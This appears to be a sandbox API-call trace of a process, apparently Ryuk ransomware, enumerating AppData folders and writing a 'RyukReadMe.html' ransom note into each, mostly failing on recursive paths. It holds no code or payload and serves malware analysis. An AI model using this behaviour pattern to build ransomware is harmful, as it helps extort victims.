	[0256.369] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0256.369] SetLastError (dwErrCode=0x0) 
	[0256.369] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.369] GetLastError () returned 0x3
	[0256.369] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.369] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.369] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.370] SetLastError (dwErrCode=0x0) 
	[0256.370] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.370] GetLastError () returned 0x3
	[0256.370] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.370] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Content.MSO", cAlternateFileName="")) returned 1
	[0256.370] SetLastError (dwErrCode=0x0) 
	[0256.370] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.370] GetLastError () returned 0x3
	[0256.370] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.370] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.MSO\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.370] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.370] SetLastError (dwErrCode=0x0) 
	[0256.370] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.MSO\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.mso\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.371] GetLastError () returned 0x3
	[0256.371] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.371] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27b4c650, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1
	[0256.371] SetLastError (dwErrCode=0x0) 
	[0256.371] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.371] GetLastError () returned 0x3
	[0256.371] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.371] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.Word\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.371] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.371] SetLastError (dwErrCode=0x0) 
	[0256.371] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.Word\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.word\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.372] GetLastError () returned 0x3
	[0256.372] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.372] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.372] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0256.372] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0256.372] SetLastError (dwErrCode=0x0) 
	[0256.372] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.372] GetLastError () returned 0x3
	[0256.372] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.372] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.372] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.372] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.372] SetLastError (dwErrCode=0x0) 
	[0256.372] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.372] GetLastError () returned 0x3
	[0256.372] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.373] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1
	[0256.373] SetLastError (dwErrCode=0x0) 
	[0256.373] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.373] GetLastError () returned 0x3
	[0256.373] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.373] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.373] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.373] SetLastError (dwErrCode=0x0) 
	[0256.373] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.373] GetLastError () returned 0x3
	[0256.373] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.373] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0
	[0256.374] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0256.374] SetLastError (dwErrCode=0x0) 
	[0256.374] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.374] GetLastError () returned 0x3
	[0256.374] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0) returned 0
	[0256.374] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.374] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1
	[0256.374] SetLastError (dwErrCode=0x0) 
	[0256.374] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0256.374] GetLastError () returned 0xb7
	[0256.374] CloseHandle (hObject=0x5ec) returned 1
	[0256.375] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0256.375] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.375] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0256.375] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0256.375] SetLastError (dwErrCode=0x0) 
	[0256.375] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\virtualstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0256.376] GetLastError () returned 0x0
	[0256.376] WriteFile (in: hFile=0x5ec, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0256.378] CloseHandle (hObject=0x5ec) returned 1
	[0256.378] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0
	[0256.378] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0256.378] SetLastError (dwErrCode=0x0) 
	[0256.378] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0256.379] GetLastError () returned 0xb7
	[0256.379] CloseHandle (hObject=0x484) returned 1
	[0256.379] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0256.379] SetLastError (dwErrCode=0x0) 
	[0256.379] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0256.379] GetLastError () returned 0xb7
	[0256.379] CloseHandle (hObject=0x484) returned 1
